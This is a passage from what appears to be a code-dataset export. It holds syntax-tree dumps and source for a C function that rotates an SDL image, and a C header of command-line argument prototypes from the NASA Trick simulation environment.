{"row": 27, "column": 4}, "end_point": {"row": 27, "column": 5}}, {"id": 88, "type": "=", "text": "=", "parent": 86, "children": [], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 27, "column": 7}}, {"id": 89, "type": "field_expression", "text": "img -> h", "parent": 86, "children": [90, 91], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 16}}, {"id": 90, "type": "identifier", "text": "img", "parent": 89, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 11}}, {"id": 91, "type": "field_identifier", "text": "h", "parent": 89, "children": [], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 16}}, {"id": 92, "type": "assignment_expression", "text": "nw = h", "parent": 18, "children": [93, 94, 95], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 10}}, {"id": 93, "type": "identifier", "text": "nw", "parent": 92, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 6}}, {"id": 94, "type": "=", "text": "=", "parent": 92, "children": [], "start_point": {"row": 28, "column": 7}, "end_point": {"row": 28, "column": 8}}, {"id": 95, "type": "identifier", "text": "h", "parent": 92, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 10}}, {"id": 96, "type": "assignment_expression", "text": "nh = w", "parent": 18, "children": [97, 98, 99], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 10}}, {"id": 97, "type": "identifier", "text": "nh", "parent": 96, "children": [], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 6}}, {"id": 98, "type": "=", "text": "=", "parent": 96, "children": [], "start_point": {"row": 29, "column": 7}, "end_point": {"row": 29, "column": 8}}, {"id": 99, "type": "identifier", "text": "w", "parent": 96, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 10}}, {"id": 100, "type": "declaration", "text": "SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);", "parent": 18, "children": [101, 102], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 34, "column": 51}}, {"id": 101, "type": "type_identifier", "text": "SDL_Surface", "parent": 100, "children": [], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 15}}, {"id": 102, "type": "init_declarator", "text": "*nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0)", "parent": 100, "children": [103, 106, 107], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 34, "column": 50}}, {"id": 103, "type": "pointer_declarator", "text": "*nimg", "parent": 102, "children": [104, 105], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 21}}, {"id": 104, "type": "*", "text": "*", "parent": 103, "children": [], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 17}}, {"id": 105, "type": "identifier", "text": "nimg", "parent": 103, "children": [], "start_point": {"row": 31, "column": 17}, "end_point": {"row": 31, "column": 21}}, {"id": 106, "type": "=", "text": "=", "parent": 102, "children": [], "start_point": {"row": 31, "column": 22}, "end_point": {"row": 31, "column": 23}}, {"id": 107, "type": "call_expression", "text": "SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0)", "parent": 102, "children": [108, 109], "start_point": {"row": 31, "column": 24}, "end_point": {"row": 34, "column": 50}}, {"id": 108, "type": "identifier", "text": "SDL_CreateRGBSurface", "parent": 107, "children": [], "start_point": {"row": 31, "column": 24}, "end_point": {"row": 31, "column": 44}}, {"id": 109, "type": "argument_list", "text": "(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0)", "parent": 107, "children": [110, 111, 112, 113, 118, 119, 120, 121], "start_point": {"row": 31, "column": 44}, "end_point": {"row": 34, "column": 50}}, {"id": 110, "type": "identifier", "text": "SDL_HWSURFACE", "parent": 109, "children": [], "start_point": {"row": 31, "column": 45}, "end_point": {"row": 31, "column": 58}}, {"id": 111, "type": "identifier", "text": "nw", "parent": 109, "children": [], "start_point": {"row": 32, "column": 12}, "end_point": {"row": 32, "column": 14}}, {"id": 112, "type": "identifier", "text": "nh", "parent": 109, "children": [], "start_point": {"row": 33, "column": 12}, "end_point": {"row": 33, "column": 14}}, {"id": 113, "type": "field_expression", "text": "img -> format -> BitsPerPixel", "parent": 109, "children": [114, 117], "start_point": {"row": 34, "column": 12}, "end_point": {"row": 34, "column": 41}}, {"id": 114, "type": "field_expression", "text": "img -> format", "parent": 113, "children": [115, 116], "start_point": {"row": 34, "column": 12}, "end_point": {"row": 34, "column": 25}}, {"id": 115, "type": "identifier", "text": "img", "parent": 114, "children": [], "start_point": {"row": 34, "column": 12}, "end_point": {"row": 34, "column": 15}}, {"id": 116, "type": "field_identifier", "text": "format", "parent": 114, "children": [], "start_point": {"row": 34, "column": 19}, "end_point": {"row": 34, "column": 25}}, {"id": 117, "type": "field_identifier", "text": "BitsPerPixel", "parent": 113, "children": [], "start_point": {"row": 34, "column": 29}, "end_point": {"row": 34, "column": 41}}, {"id": 118, "type": "number_literal", "text": "0", "parent": 109, "children": [], "start_point": {"row": 34, "column": 42}, "end_point": {"row": 34, "column": 43}}, {"id": 119, "type": "number_literal", "text": "0", "parent": 109, "children": [], "start_point": {"row": 34, "column": 44}, "end_point": {"row": 34, "column": 45}}, {"id": 120, "type": "number_literal", "text": "0", "parent": 109, "children": [], "start_point": {"row": 34, "column": 46}, "end_point": {"row": 34, "column": 47}}, {"id": 121, "type": "number_literal", "text": "0", "parent": 109, "children": [], "start_point": {"row": 34, "column": 48}, "end_point": {"row": 34, "column": 49}}, {"id": 122, "type": "if_statement", "text": "if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }", "parent": 18, "children": [123], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 50, "column": 5}}, {"id": 123, "type": "parenthesized_expression", "text": "(angle == 'r')", "parent": 122, "children": [124], "start_point": {"row": 37, "column": 6}, "end_point": {"row": 37, "column": 20}}, {"id": 124, "type": "binary_expression", "text": "angle == 'r'", "parent": 123, "children": [125, 126, 127], "start_point": {"row": 37, "column": 7}, "end_point": {"row": 37, "column": 19}}, {"id": 125, "type": "identifier", "text": "angle", "parent": 124, "children": [], "start_point": {"row": 37, "column": 7}, "end_point": {"row": 37, "column": 12}}, {"id": 126, "type": "==", "text": "==", "parent": 124, "children": [], "start_point": {"row": 37, "column": 13}, "end_point": {"row": 37, "column": 15}}, {"id": 127, "type": "char_literal", "text": "'r'", "parent": 124, "children": [128, 129, 130], "start_point": {"row": 37, "column": 16}, "end_point": {"row": 37, "column": 19}}, {"id": 128, "type": "'", "text": "'", "parent": 127, "children": [], "start_point": {"row": 37, "column": 16}, "end_point": {"row": 37, "column": 17}}, {"id": 129, "type": "character", "text": "r", "parent": 127, "children": [], "start_point": {"row": 37, "column": 17}, "end_point": {"row": 37, "column": 18}}, {"id": 130, "type": "'", "text": "'", "parent": 127, "children": [], "start_point": {"row": 37, "column": 18}, "end_point": {"row": 37, "column": 19}}, {"id": 131, "type": "for_statement", "text": "for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }", "parent": 122, "children": [132, 138, 142], "start_point": {"row": 39, "column": 8}, "end_point": {"row": 48, "column": 9}}, {"id": 132, "type": "declaration", "text": "int i = 0;", "parent": 131, "children": [133, 134], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 22}}, {"id": 133, "type": "primitive_type", "text": "int", "parent": 132, "children": [], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 15}}, {"id": 134, "type": "init_declarator", "text": "i = 0", "parent": 132, "children": [135, 136, 137], "start_point": {"row": 39, "column": 16}, "end_point": {"row": 39, "column": 21}}, {"id": 135, "type": "identifier", "text": "i", "parent": 134, "children": [], "start_point": {"row": 39, "column": 16}, "end_point": {"row": 39, "column": 17}}, {"id": 136, "type": "=", "text": "=", "parent": 134, "children": [], "start_point": {"row": 39, "column": 18}, "end_point": {"row": 39, "column": 19}}, {"id": 137, "type": "number_literal", "text": "0", "parent": 134, "children": [], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 21}}, {"id": 138, "type": "binary_expression", "text": "i < w", "parent": 131, "children": [139, 140, 141], "start_point": {"row": 39, "column": 23}, "end_point": {"row": 39, "column": 28}}, {"id": 139, "type": "identifier", "text": "i", "parent": 138, "children": [], "start_point": {"row": 39, "column": 23}, "end_point": {"row": 39, "column": 24}}, {"id": 140, "type": "<", "text": "<", "parent": 138, "children": [], "start_point": {"row": 39, "column": 25}, "end_point": {"row": 39, "column": 26}}, {"id": 141, "type": "identifier", "text": "w", "parent": 138, "children": [], "start_point": {"row": 39, "column": 27}, "end_point": {"row": 39, "column": 28}}, {"id": 142, "type": "update_expression", "text": "i++", "parent": 131, "children": [143, 144], "start_point": {"row": 39, "column": 30}, "end_point": {"row": 39, "column": 33}}, {"id": 143, "type": "identifier", "text": "i", "parent": 142, "children": [], "start_point": {"row": 39, "column": 30}, "end_point": {"row": 39, "column": 31}}, {"id": 144, "type": "++", "text": "++", "parent": 142, "children": [], "start_point": {"row": 39, "column": 31}, "end_point": {"row": 39, "column": 33}}, {"id": 145, "type": "for_statement", "text": "for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }", "parent": 131, "children": [146, 152, 156], "start_point": {"row": 41, "column": 12}, "end_point": {"row": 47, "column": 13}}, {"id": 146, "type": "declaration", "text": "int j = 0;", "parent": 145, "children": [147, 148], "start_point": {"row": 41, "column": 16}, "end_point": {"row": 41, "column": 26}}, {"id": 147, "type": "primitive_type", "text": "int", "parent": 146, "children": [], "start_point": {"row": 41, "column": 16}, "end_point": {"row": 41, "column": 19}}, {"id": 148, "type": "init_declarator", "text": "j = 0", "parent": 146, "children": [149, 150, 151], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 25}}, {"id": 149, "type": "identifier", "text": "j", "parent": 148, "children": [], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 21}}, {"id": 150, "type": "=", "text": "=", "parent": 148, "children": [], "start_point": {"row": 41, "column": 22}, "end_point": {"row": 41, "column": 23}}, {"id": 151, "type": "number_literal", "text": "0", "parent": 148, "children": [], "start_point": {"row": 41, "column": 24}, "end_point": {"row": 41, "column": 25}}, {"id": 152, "type": "binary_expression", "text": "j < h", "parent": 145, "children": [153, 154, 155], "start_point": {"row": 41, "column": 27}, "end_point": {"row": 41, "column": 32}}, {"id": 153, "type": "identifier", "text": "j", "parent": 152, "children": [], "start_point": {"row": 41, "column": 27}, "end_point": {"row": 41, "column": 28}}, {"id": 154, "type": "<", "text": "<", "parent": 152, "children": [], "start_point": {"row": 41, "column": 29}, "end_point": {"row": 41, "column": 30}}, {"id": 155, "type": "identifier", "text": "h", "parent": 152, "children": [], "start_point": {"row": 41, "column": 31}, "end_point": {"row": 41, "column": 32}}, {"id": 156, "type": "update_expression", "text": "j++", "parent": 145, "children": [157, 158], "start_point": {"row": 41, "column": 34}, "end_point": {"row": 41, "column": 37}}, {"id": 157, "type": "identifier", "text": "j", "parent": 156, "children": [], "start_point": {"row": 41, "column": 34}, "end_point": {"row": 41, "column": 35}}, {"id": 158, "type": "++", "text": "++", "parent": 156, "children": [], "start_point": {"row": 41, "column": 35}, "end_point": {"row": 41, "column": 37}}, {"id": 159, "type": "assignment_expression", "text": "pixel = getpixel(img, i, j)", "parent": 145, "children": [160, 161, 162], "start_point": {"row": 43, "column": 16}, "end_point": {"row": 43, "column": 43}}, {"id": 160, "type": "identifier", "text": "pixel", "parent": 159, "children": [], "start_point": {"row": 43, "column": 16}, "end_point": {"row": 43, "column": 21}}, {"id": 161, "type": "=", "text": "=", "parent": 159, "children": [], "start_point": {"row": 43, "column": 22}, "end_point": {"row": 43, "column": 23}}, {"id": 162, "type": "call_expression", "text": "getpixel(img, i, j)", "parent": 159, "children": [163, 164], "start_point": {"row": 43, "column": 24}, "end_point": {"row": 43, "column": 43}}, {"id": 163, "type": "identifier", "text": "getpixel", "parent": 162, "children": [], "start_point": {"row": 43, "column": 24}, "end_point": {"row": 43, "column": 32}}, {"id": 164, "type": "argument_list", "text": "(img, i, j)", "parent": 162, "children": [165, 166, 167], "start_point": {"row": 43, "column": 32}, "end_point": {"row": 43, "column": 43}}, {"id": 165, "type": "identifier", "text": "img", "parent": 164, "children": [], "start_point": {"row": 43, "column": 33}, "end_point": {"row": 43, "column": 36}}, {"id": 166, "type": "identifier", "text": "i", "parent": 164, "children": [], "start_point": {"row": 43, "column": 38}, "end_point": {"row": 43, "column": 39}}, {"id": 167, "type": "identifier", "text": "j", "parent": 164, "children": [], "start_point": {"row": 43, "column": 41}, "end_point": {"row": 43, "column": 42}}, {"id": 168, "type": "call_expression", "text": "SDL_GetRGB(pixel, img -> format, &r, &g, &b)", "parent": 145, "children": [169, 170], "start_point": {"row": 44, "column": 16}, "end_point": {"row": 44, "column": 60}}, {"id": 169, "type": "identifier", "text": "SDL_GetRGB", "parent": 168, "children": [], "start_point": {"row": 44, "column": 16}, "end_point": {"row": 44, "column": 26}}, {"id": 170, "type": "argument_list", "text": "(pixel, img -> format, &r, &g, &b)", "parent": 168, "children": [171, 172, 175, 177, 179], "start_point": {"row": 44, "column": 26}, "end_point": {"row": 44, "column": 60}}, {"id": 171, "type": "identifier", "text": "pixel", "parent": 170, "children": [], "start_point": {"row": 44, "column": 27}, "end_point": {"row": 44, "column": 32}}, {"id": 172, "type": "field_expression", "text": "img -> format", "parent": 170, "children": [173, 174], "start_point": {"row": 44, "column": 34}, "end_point": {"row": 44, "column": 47}}, {"id": 173, "type": "identifier", "text": "img", "parent": 172, "children": [], "start_point": {"row": 44, "column": 34}, "end_point": {"row": 44, "column": 37}}, {"id": 174, "type": "field_identifier", "text": "format", "parent": 172, "children": [], "start_point": {"row": 44, "column": 41}, "end_point": {"row": 44, "column": 47}}, {"id": 175, "type": "pointer_expression", "text": "&r", "parent": 170, "children": [176], "start_point": {"row": 44, "column": 49}, "end_point": {"row": 44, "column": 51}}, {"id": 176, "type": "identifier", "text": "r", "parent": 175, "children": [], "start_point": {"row": 44, "column": 50}, "end_point": {"row": 44, "column": 51}}, {"id": 177, "type": "pointer_expression", "text": "&g", "parent": 170, "children": [178], "start_point": {"row": 44, "column": 53}, "end_point": {"row": 44, "column": 55}}, {"id": 178, "type": "identifier", "text": "g", "parent": 177, "children": [], "start_point": {"row": 44, "column": 54}, "end_point": {"row": 44, "column": 55}}, {"id": 179, "type": "pointer_expression", "text": "&b", "parent": 170, "children": [180], "start_point": {"row": 44, "column": 57}, "end_point": {"row": 44, "column": 59}}, {"id": 180, "type": "identifier", "text": "b", "parent": 179, "children": [], "start_point": {"row": 44, "column": 58}, "end_point": {"row": 44, "column": 59}}, {"id": 181, "type": "assignment_expression", "text": "pixel = SDL_MapRGB(img -> format, r, g, b)", "parent": 145, "children": [182, 183, 184], "start_point": {"row": 45, "column": 16}, "end_point": {"row": 45, "column": 58}}, {"id": 182, "type": "identifier", "text": "pixel", "parent": 181, "children": [], "start_point": {"row": 45, "column": 16}, "end_point": {"row": 45, "column": 21}}, {"id": 183, "type": "=", "text": "=", "parent": 181, "children": [], "start_point": {"row": 45, "column": 22}, "end_point": {"row": 45, "column": 23}}, {"id": 184, "type": "call_expression", "text": "SDL_MapRGB(img -> format, r, g, b)", "parent": 181, "children": [185, 186], "start_point": {"row": 45, "column": 24}, "end_point": {"row": 45, "column": 58}}, {"id": 185, "type": "identifier", "text": "SDL_MapRGB", "parent": 184, "children": [], "start_point": {"row": 45, "column": 24}, "end_point": {"row": 45, "column": 34}}, {"id": 186, "type": "argument_list", "text": "(img -> format, r, g, b)", "parent": 184, "children": [187, 190, 191, 192], "start_point": {"row": 45, "column": 34}, "end_point": {"row": 45, "column": 58}}, {"id": 187, "type": "field_expression", "text": "img -> format", "parent": 186, "children": [188, 189], "start_point": {"row": 45, "column": 35}, "end_point": {"row": 45, "column": 48}}, {"id": 188, "type": "identifier", "text": "img", "parent": 187, "children": [], "start_point": {"row": 45, "column": 35}, "end_point": {"row": 45, "column": 38}}, {"id": 189, "type": "field_identifier", "text": "format", "parent": 187, "children": [], "start_point": {"row": 45, "column": 42}, "end_point": {"row": 45, "column": 48}}, {"id": 190, "type": "identifier", "text": "r", "parent": 186, "children": [], "start_point": {"row": 45, "column": 50}, "end_point": {"row": 45, "column": 51}}, {"id": 191, "type": "identifier", "text": "g", "parent": 186, "children": [], "start_point": {"row": 45, "column": 53}, "end_point": {"row": 45, "column": 54}}, {"id": 192, "type": "identifier", "text": "b", "parent": 186, "children": [], "start_point": {"row": 45, "column": 56}, "end_point": {"row": 45, "column": 57}}, {"id": 193, "type": "call_expression", "text": "putpixel(nimg, nw-1-j, i, pixel)", "parent": 145, "children": [194, 195], "start_point": {"row": 46, "column": 16}, "end_point": {"row": 46, "column": 48}}, {"id": 194, "type": "identifier", "text": "putpixel", "parent": 193, "children": [], "start_point": {"row": 46, "column": 16}, "end_point": {"row": 46, "column": 24}}, {"id": 195, "type": "argument_list", "text": "(nimg, nw-1-j, i, pixel)", "parent": 193, "children": [196, 197, 204, 205], "start_point": {"row": 46, "column": 24}, "end_point": {"row": 46, "column": 48}}, {"id": 196, "type": "identifier", "text": "nimg", "parent": 195, "children": [], "start_point": {"row": 46, "column": 25}, "end_point": {"row": 46, "column": 29}}, {"id": 197, "type": "binary_expression", "text": "nw-1-j", "parent": 195, "children": [198, 202, 203], "start_point": {"row": 46, "column": 31}, "end_point": {"row": 46, "column": 37}}, {"id": 198, "type": "binary_expression", "text": "nw-1", "parent": 197, "children": [199, 200, 201], "start_point": {"row": 46, "column": 31}, "end_point": {"row": 46, "column": 35}}, {"id": 199, "type": "identifier", "text": "nw", "parent": 198, "children": [], "start_point": {"row": 46, "column": 31}, "end_point": {"row": 46, "column": 33}}, {"id": 200, "type": "-", "text": "-", "parent": 198, "children": [], "start_point": {"row": 46, "column": 33}, "end_point": {"row": 46, "column": 34}}, {"id": 201, "type": "number_literal", "text": "1", "parent": 198, "children": [], "start_point": {"row": 46, "column": 34}, "end_point": {"row": 46, "column": 35}}, {"id": 202, "type": "-", "text": "-", "parent": 197, "children": [], "start_point": {"row": 46, "column": 35}, "end_point": {"row": 46, "column": 36}}, {"id": 203, "type": "identifier", "text": "j", "parent": 197, "children": [], "start_point": {"row": 46, "column": 36}, "end_point": {"row": 46, "column": 37}}, {"id": 204, "type": "identifier", "text": "i", "parent": 195, "children": [], "start_point": {"row": 46, "column": 39}, "end_point": {"row": 46, "column": 40}}, {"id": 205, "type": "identifier", "text": "pixel", "parent": 195, "children": [], "start_point": {"row": 46, "column": 42}, "end_point": {"row": 46, "column": 47}}, {"id": 206, "type": "call_expression", "text": "SDL_FreeSurface(img)", "parent": 18, "children": [207, 208], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 24}}, {"id": 207, "type": "identifier", "text": "SDL_FreeSurface", "parent": 206, "children": [], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 19}}, {"id": 208, "type": "argument_list", "text": "(img)", "parent": 206, "children": [209], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 24}}, {"id": 209, "type": "identifier", "text": "img", "parent": 208, "children": [], "start_point": {"row": 71, "column": 20}, "end_point": {"row": 71, "column": 23}}, {"id": 210, "type": "return_statement", "text": "return nimg;", "parent": 18, "children": [211], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 16}}, {"id": 211, "type": "identifier", "text": "nimg", "parent": 210, "children": [], "start_point": {"row": 72, "column": 11}, "end_point": {"row": 72, "column": 15}}]}, "node_categories": {"declarations": {"functions": [18, 22], "variables": [25, 30, 56, 59, 62, 65, 68, 71, 74, 77, 100, 132, 146], "classes": [], "imports": [0, 1, 3, 4, 6, 7, 9, 10, 12, 13, 15, 16], "modules": [], "enums": []}, "statements": {"expressions": [34, 35, 36, 44, 51, 83, 89, 107, 113, 114, 123, 124, 138, 142, 152, 156, 162, 168, 172, 175, 177, 179, 184, 187, 193, 197, 198, 206], "assignments": [80, 86, 92, 96, 159, 181], "loops": [131, 145], "conditionals": [19, 23, 26, 29, 32, 33, 37, 45, 52, 54, 57, 58, 60, 61, 63, 64, 66, 67, 70, 73, 76, 79, 81, 84, 85, 87, 90, 91, 93, 95, 97, 99, 101, 105, 108, 110, 111, 112, 115, 116, 117, 122, 125, 135, 139, 141, 143, 149, 153, 155, 157, 160, 163, 165, 166, 167, 169, 171, 173, 174, 176, 178, 180, 182, 185, 188, 189, 190, 191, 192, 194, 196, 199, 203, 204, 205, 207, 209, 211], "returns": [210], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 11, 14, 17, 39, 47, 55, 118, 119, 120, 121, 127, 137, 151, 201], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 18, "universal_type": "function", "name": "w;", "text_snippet": "SDL_Surface *rotate(SDL_Surface *img, char angle)\n{\n if(angle != 'r' && angle != 'l')\n err"}, {"node_id": 22, "universal_type": "function", "name": "unknown", "text_snippet": "rotate(SDL_Surface *img, char angle)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"rotate.h\"\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"../import/import.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <stdlib.h>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <SDL/SDL.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <SDL/SDL_image.h>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <err.h>\n"}, {"node_id": 16, "text": "#include"}]}, "original_source_code": "#include \"rotate.h\"\n#include \"../import/import.h\"\n\n#include <stdlib.h>\n#include <SDL/SDL.h>\n#include <SDL/SDL_image.h>\n#include <err.h>\n\n\n\nSDL_Surface *rotate(SDL_Surface *img, char angle)\n{\n if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, \"Wrong rotate angle value\");\n\n\n\n /* Variables */\n Uint32 pixel;\n Uint8 r;\n Uint8 g;\n Uint8 b;\n int w;\n int h;\n int nw;\n int nh;\n w = img -> w;\n h = img -> h;\n nw = h;\n nh = w;\n\n SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);\n\n //rotate 90 degrees right\n if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }\n\n /*\n //rotate 90 degrees left\n else\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = Mat[];\n SDL_GetRGB(pixel, img->format, &r, &g, &b);\n\n pixel = SDL_MapRGB(img->format, r, g, b);\n Mat[i*w+j] = pixel;\n }\n }\n\n }\n */\n\n SDL_FreeSurface(img);\n return nimg;\n}\n\n\n"}
81,140
c
/* PURPOSE: (Trick runtime simulation executive parameter definition.) REFERENCE: (((Bailey, R.W, and Paddock, E.J.) (Trick Simulation Environment) (NASA:JSC #37943) (JSC / Engineering Directorate / Automation and Robotics Division) (June 1994) (--))) ASSUMPTIONS AND LIMITATIONS: ((Only 64 levels of nested input data file inclusion.)) PROGRAMMERS: (((<NAME>) (LinCom) (4/92) (--) (Realtime)) ((<NAME>) (LinCom) (6/1/91) (Trick-CR-00000) (Initial Release))) */ #ifndef COMMAND_LINE_PROTOS_H #define COMMAND_LINE_PROTOS_H #ifdef __cplusplus extern "C" { #endif int command_line_args_process_sim_args(int argc , char ** argv) ; int command_line_args_get_argc(void) ; char ** command_line_args_get_argv(void) ; const char * command_line_args_get_output_dir(void) ; const char * command_line_args_get_user_output_dir(void) ; const char * command_line_args_get_input_file(void) ; const char * command_line_args_get_default_dir(void) ; const char * command_line_args_get_cmdline_name(void) ; int output_dir_timestamped_on(void) ; int output_dir_timestamped_off(void) ; void set_output_dir(const char* output_directory); #ifdef __cplusplus } #endif #ifdef __cplusplus #include <string> std::string & command_line_args_get_input_file_ref(void) ; #endif #endif
34.26
38
(translation_unit) "/*\n PURPOSE:\n (Trick runtime simulation executive parameter definition.)\n REFERENCE:\n (((Bailey, R.W, and Paddock, E.J.) (Trick Simulation Environment)\n (NASA:JSC #37943)\n (JSC / Engineering Directorate / Automation and Robotics Division)\n (June 1994) (--)))\n ASSUMPTIONS AND LIMITATIONS:\n ((Only 64 levels of nested input data file inclusion.))\n PROGRAMMERS:\n (((<NAME>) (LinCom) (4/92) (--) (Realtime))\n ((<NAME>) (LinCom) (6/1/91) (Trick-CR-00000) (Initial Release)))\n*/\n\n#ifndef COMMAND_LINE_PROTOS_H\n#define COMMAND_LINE_PROTOS_H\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\nint command_line_args_process_sim_args(int argc , char ** argv) ;\n\nint command_line_args_get_argc(void) ;\nchar ** command_line_args_get_argv(void) ;\nconst char * command_line_args_get_output_dir(void) ;\nconst char * command_line_args_get_user_output_dir(void) ;\nconst char * command_line_args_get_input_file(void) ;\n\nconst char * command_line_args_get_default_dir(void) ;\nconst char * command_line_args_get_cmdline_name(void) ;\n\nint output_dir_timestamped_on(void) ;\nint output_dir_timestamped_off(void) ;\n\nvoid set_output_dir(const char* output_directory);\n\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\n#include <string>\nstd::string & command_line_args_get_input_file_ref(void) ;\n#endif\n\n#endif\n\n" (comment) "/*\n PURPOSE:\n (Trick runtime simulation executive parameter definition.)\n REFERENCE:\n (((Bailey, R.W, and Paddock, E.J.) (Trick Simulation Environment)\n (NASA:JSC #37943)\n (JSC / Engineering Directorate / Automation and Robotics Division)\n (June 1994) (--)))\n ASSUMPTIONS AND LIMITATIONS:\n ((Only 64 levels of nested input data file inclusion.))\n PROGRAMMERS:\n (((<NAME>) (LinCom) (4/92) (--) (Realtime))\n ((<NAME>) (LinCom) (6/1/91) (Trick-CR-00000) (Initial Release)))\n*/" (ERROR) "#ifndef COMMAND_LINE_PROTOS_H\n#define COMMAND_LINE_PROTOS_H\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\nint command_line_args_process_sim_args(int argc , char ** argv) ;\n\nint command_line_args_get_argc(void) ;\nchar ** command_line_args_get_argv(void) ;\nconst char * command_line_args_get_output_dir(void) ;\nconst char * command_line_args_get_user_output_dir(void) ;\nconst char * command_line_args_get_input_file(void) ;\n\nconst char * command_line_args_get_default_dir(void) ;\nconst char * command_line_args_get_cmdline_name(void) ;\n\nint output_dir_timestamped_on(void) ;\nint output_dir_timestamped_off(void) ;\n\nvoid set_output_dir(const char* output_directory);\n\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\n#include <string>\nstd::string & command_line_args_get_input_file_ref(void) ;\n#endif\n\n#endif\n" (#ifndef) "#ifndef" (identifier) "COMMAND_LINE_PROTOS_H" (preproc_def) "#define COMMAND_LINE_PROTOS_H\n" (#define) "#define" (identifier) "COMMAND_LINE_PROTOS_H" (#ifdef) "#ifdef" (identifier) "__cplusplus" (extern) "extern" (string_literal) ""C"" (") """ (string_content) "C" (") """ ({) "{" (preproc_call) "#endif\n" (preproc_directive) "#endif" (declaration) "int command_line_args_process_sim_args(int argc , char ** argv) ;" (primitive_type) "int" (function_declarator) "command_line_args_process_sim_args(int argc , char ** argv)" (identifier) "command_line_args_process_sim_args" (parameter_list) "(int argc , char ** argv)" (() "(" (parameter_declaration) "int argc" (primitive_type) "int" (identifier) "argc" (,) "," (parameter_declaration) "char ** argv" (primitive_type) "char" (pointer_declarator) "** argv" (*) "*" (pointer_declarator) "* argv" (*) "*" (identifier) "argv" ()) ")" (;) ";" (declaration) "int command_line_args_get_argc(void) ;" (primitive_type) "int" (function_declarator) "command_line_args_get_argc(void)" (identifier) "command_line_args_get_argc" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "char ** command_line_args_get_argv(void) ;" (primitive_type) "char" (pointer_declarator) "** command_line_args_get_argv(void)" (*) "*" (pointer_declarator) "* command_line_args_get_argv(void)" (*) "*" (function_declarator) "command_line_args_get_argv(void)" (identifier) "command_line_args_get_argv" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "const char * command_line_args_get_output_dir(void) ;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* command_line_args_get_output_dir(void)" (*) "*" (function_declarator) "command_line_args_get_output_dir(void)" (identifier) "command_line_args_get_output_dir" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "const char * 